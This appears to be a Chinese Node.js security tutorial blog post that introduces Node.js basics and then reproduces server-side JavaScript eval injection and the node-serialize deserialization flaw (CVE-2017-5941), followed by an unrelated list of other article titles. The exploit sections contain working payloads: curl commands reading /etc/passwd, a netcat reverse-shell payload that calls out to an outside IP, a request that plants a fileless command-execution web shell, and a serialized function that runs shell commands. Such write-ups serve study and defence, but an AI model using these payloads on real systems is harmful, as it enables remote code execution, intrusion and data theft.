0x01 简介

  什么是nodejs,it's javascript webserver!

  JS是脚本语言,脚本语言都需要一个解析器才能运行。对于写在HTML页面里的JS,浏览器充当了解析器的角色。而对于需要独立运行的JS,NodeJS就是一个解析器。

  每一种解析器都是一个运行环境,不但允许JS定义各种数据结构,进行各种计算,还允许JS使用运行环境提供的内置对象和方法做一些事情。例如运行在浏览器中的JS的用途是操作DOM,浏览器就提供了document之类的内置对象。而运行在NodeJS中的JS的用途是操作磁盘文件或搭建HTTP服务器,NodeJS就相应提供了fshttp等内置对象。

0x02 测试

  直接下载编译好的exe放到系统目录下(当然也可以使用msi安装包进行安装 http://nodejs.cn/#download),查看版本,和解析js命令

文件操作

  NodeJS提供了基本的文件操作API,但是像文件拷贝这种高级功能就没有提供,因此我们先拿文件拷贝程序练手。与copy命令类似,我们的程序需要能接受源文件路径与目标文件路径两个参数。

  文件拷贝

  我们使用NodeJS内置的fs模块简单实现这个程序如下。

var fs = require('fs');

function copy(src, dst) {
fs.writeFileSync(dst, fs.readFileSync(src));
} function main(argv) {
copy(argv[0], argv[1]);
} main(process.argv.slice(2));

  这里说一下,即使脚本的后缀不是以js结尾的,也是可以顺利执行的。

 网络操作

  不了解网络编程的程序员不是好前端,而NodeJS恰好提供了一扇了解网络编程的窗口。通过NodeJS,除了可以编写一些服务端程序来协助前端开发和测试外,还能够学习一些HTTP协议与Socket协议的相关知识。

  NodeJS本来的用途是编写高性能Web服务器。我们首先在这里重复一下官方文档里的例子,使用NodeJS内置的http模块简单实现一个HTTP服务器。

var http = require('http');

http.createServer(function (request, response) {
response.writeHead(200, { 'Content-Type': 'text-plain' });
response.end('Hello World\n');
}).listen(8124);

除了可以构建http服务器之外,还可以用作客户端发送http请求,like this

var options = {
hostname: 'www.example.com',
port: 80,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
}; var request = http.request(options, function (response) {}); request.write('Hello World');
request.end();

请求头和请求体都可以定制。

除文件操作和网络操作之外还有进程管理和异步编程等就不具体描述了,详细的可以查看官方api文档。

有了web服务端开发语言,那么像php语言一样有一些著名的框架(laravelCodeIgniterthinkphp)一样,Nodejs也有比较流行的框架,是Express。

express的安装  npm install express --save

0x03 ssjs 服务端javascript代码注入

  漏洞代码如下:

/**
* NodeBleed Original Bug: https://github.com/nodejs/node/issues/4660
* PoC: $ node nodejs-ssjs-nodebleed.js
* "Attack":
* - Direct Eval: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
* - JSON Abuse: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":"1000",\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* - NodeBleed: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":1000,\"injection\":\"\"}" | hexdump -C
*
* Insecure evals Payloads:
* - --data "{\"str\": \"1000\",\"injection\":\"require('child_process').exec('netcat -e /bin/sh IP 9999')\"}" ($ netcat -l -p 9999)
* - --data "{\"str\": 10000,\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}"
* All Node.js version (5.5.0 and 4.2.6) are vulnerable at the moment.
* $ nvm ls-remote (Play with different versions)
* @SiMpS0N - Fev/2016
*/ var http = require('http'); var server = http.createServer(function(req, res) {
console.log("### 0xOPOSEC Demos ###")
var data = ''
var injection = ''
req.setEncoding('utf8')
req.on('data', function(chunk) {
data += chunk
})
console.log(data)
req.on('end', function() {
/*Convert a JSON text into an object
* Tradional way (Not Secure):
* var body = eval("("+data+")")
* Attack: "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))"
*/
//var body = eval("("+data+")")
/*
* Correct way:
*/
var body = JSON.parse(data) //SSJS Injection (eval JS code)
console.log("##SSJS Injection")
console.log("Payload: "+body.injection+"\n") injection = eval(body.injection) //NodeBleed (new Buffer(int)->MemoryDisclosure)
console.log("##NodeBleed")
console.log("Disclosure Bytes: "+body.str)
res.end(new Buffer(body.str) + "\n" + injection)
})
}) server.listen(8080)

简单分析一下,服务器端监听8080端口,对接收到post的json数据处理,其中injection字段的值进行了eval代码执行,那么payload构造起来就很简单,我们可以通过fs模块的readFileSync()函数去读比如 /etc/passwd 文件,如下图所示:

那创建一个无文件的小马如何?

POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Host: 192.168.199.182:8080
Accept: */*
Content-Type: application/json
Content-Length: 301 {"str":1000,"injection":"setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {\"Content-Type\": \"text/plain\"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)"}

如上,我们是开启了一个8000端口的监听,并对传入的cmd参数进行命令执行,这样就达到了一个小马的效果。

0x04 反序列化漏洞

nodejs的node-serialize 模块曾经爆出过一个漏洞CVE-2017-5941可以参考https://www.exploit-db.com/docs/41289.pdf,该模块的源码在这里https://github.com/luin/serialize(好奇的是漏洞出了这么久,但是作者并没有去修复。。只是发了一个security warning。。)

这里简单介绍和复现一下:

注意,如果想要全局中使用这个node-serialize模块就要使用 -g的参数(npm全局安装和本地安装 http://www.cnblogs.com/chyingp/p/npm-install-difference-between-local-global.html),而且参考文章中版本也是0.0.4,也正好就是存在漏洞的版本。

生成payload的方式如下:

var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

Serialized:
{"rce":"_$$ND_FUNC$$_function (){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}

但是生成的payload要修改才能够调用执行

{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout) });}()"}  需要在整个function后面加(),「立即执行函数表达式」(Immediately-Invoked Function Expression,以下简称IIFE)参考:http://weizhifeng.net/immediately-invoked-function-expression.html

反序列化恶意payload,就执行了ls / 的命令,效果如下图所示

0x05 Refererence

1.https://nqdeng.github.io/7-days-nodejs/

2.http://www.runoob.com/nodejs/nodejs-express-framework.html

3.https://www.youtube.com/watch?v=puyOlZBudNI

4.http://expressjs.com/

5.慕课网nodejs学习 http://www.imooc.com/learn/348

6.http://www.kanxue.com/?article-read-1108.htm=&hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io

7.https://s1gnalcha0s.github.io/node/2015/01/31/SSJS-webshell-injection.html

8.http://paper.seebug.org/213/

9.https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef

nodejs学习以及SSJS漏洞的更多相关文章

  1. Nodejs学习路线图

    前言 用Nodejs已经1年有余,陆陆续续写了48篇关于Nodejs的博客文章,用过的包有上百个.和所有人一样,我也从Web开发开始,然后到包管 理,再到应用系统的开发,最后开源自己的Nodejs项目 ...

  2. Nodejs学习笔记(四)——支持Mongodb

    前言:回顾前面零零碎碎写的三篇挂着Nodejs学习笔记的文章,着实有点名不副实,当然,这篇可能还是要继续走着离主线越走越远的路子,从简短的介绍什么是Nodejs,到如何寻找一个可以调试的Nodejs ...

  3. Nodejs学习笔记(三)——一张图看懂Nodejs建站

    前言:一条线,竖着放,如果做不到精进至深,那就旋转90°,至少也图个幅度宽广. 通俗解释上面的胡言乱语:还没学会爬,就学起走了?! 继上篇<Nodejs学习笔记(二)——Eclipse中运行调试 ...

  4. Nodejs学习笔记(二)——Eclipse中运行调试Nodejs

    前篇<Nodejs学习笔记(一)——初识Nodejs>主要介绍了在搭建node环境过程中遇到的小问题以及搭建Eclipse开发Node环境的前提步骤.本篇主要介绍如何在Eclipse中运行 ...

  5. NodeJS学习笔记之Connect中间件模块(一)

    NodeJS学习笔记之Connect中间件模块(一) http://www.jb51.net/article/60430.htm NodeJS学习笔记之Connect中间件模块(二) http://w ...

  6. Nodejs学习笔记(六)--- Node.js + Express 构建网站预备知识

    目录 前言 新建express项目并自定义路由规则 如何提取页面中的公共部分? 如何提交表单并接收参数? GET 方式 POST 方式 如何字符串加密? 如何使用session? 如何使用cookie ...

  7. Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例

    目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装项目其它需要包 清除冗余文件并重新规划项目目录 配置文件 规划示例路由,并新建相关文件 实现数据访问和业务逻辑相关方法 编写mys ...

  8. Nodejs学习笔记(十六)--- Pomelo介绍&入门

    目录 前言&介绍 安装Pomelo 创建项目并启动 创建项目 项目结构说明 启动 测试连接 聊天服务器 新建gate和chat服务器 配置master.json 配置servers.json ...

  9. [转]Nodejs学习笔记(十五)--- Node.js + Koa2 构建网站简单示例

    本文转自:https://www.cnblogs.com/zhongweiv/p/nodejs_koa2_webapp.html 目录 前言 搭建项目及其它准备工作 创建数据库 创建Koa2项目 安装 ...

随机推荐

  1. kvm热添加和热迁移

    a.热添加磁盘 1.创建磁盘 qemu-img create -f qcow2 web01-add01.qcow2 5G 2.附加磁盘设备 virsh attach-disk web01 /opt/w ...

  2. 如何保持Redis和MySQL数据一致

    原文:https://blog.csdn.net/thousa_ho/article/details/78900563 1. MySQL持久化数据,Redis只读数据 redis在启动之后,从数据库加 ...

  3. 第二章 Python基本图形绘制

    2.1 深入理解Python语言 Python语言是通用语言 Python语言是脚本语言 Python语言是开源语言 Python语言是跨平台语言 Python语言是多模型语言 Python的特点与优 ...

  4. Couchbase入门——环境搭建以及HelloWorld

    一.引言 NoSQL(Not Only SQL),火了很久了,一直没空研究.最近手上一个项目对Cache有一定的要求,借此机会对NoSQL入门一下.支持NoSQL的数据库系统有很多,  比如Redis ...

  5. 用eclipce编写 MR程序 MapReduce

    package com.bw.mr; import java.io.IOException; import org.apache.hadoop.io.IntWritable; import org.a ...

  6. .net使用SqlBulkCopy类操作DataTable批量插入数据库数据,然后分页查询坑

    在使用SqlBulkCopy类操作DataTable批量插入数据,这种操作插入数据的效率很高,就会导致每一条数据在保存的时间基本一样,在我们分页查询添加的数据是,使用数据的添加时间来排序就会出现每页的 ...

  7. Html,CSS和盒子

    Html指超文本标记语言(HyperText Markup Language)是一种用于创建网页的标准标记语言. CSS 指层叠样式表 (Cascading Style Sheets),样式定义如何显 ...

  8. Mysql七种 JOIN 连接

    内连接 SELECT <select_list> FROM TableA A INNER JOIN TableB B ON A.Key = B.Key 左外连接 SELECT <se ...

  9. macbook 入门

    前面的话 第一次使用 Mac 之前,需要改变一些原有思维,不应该使用 Windows 的思维习惯去使用 Mac,Mac 会节省系统维护.清理杀毒.升级驱动等操作的时间,让我们可以专注做真正重要的事情, ...

  10. AWS Step Function Serverless Applications

    Installing VS Components To follow along with this article, you must have an AWS account and install ...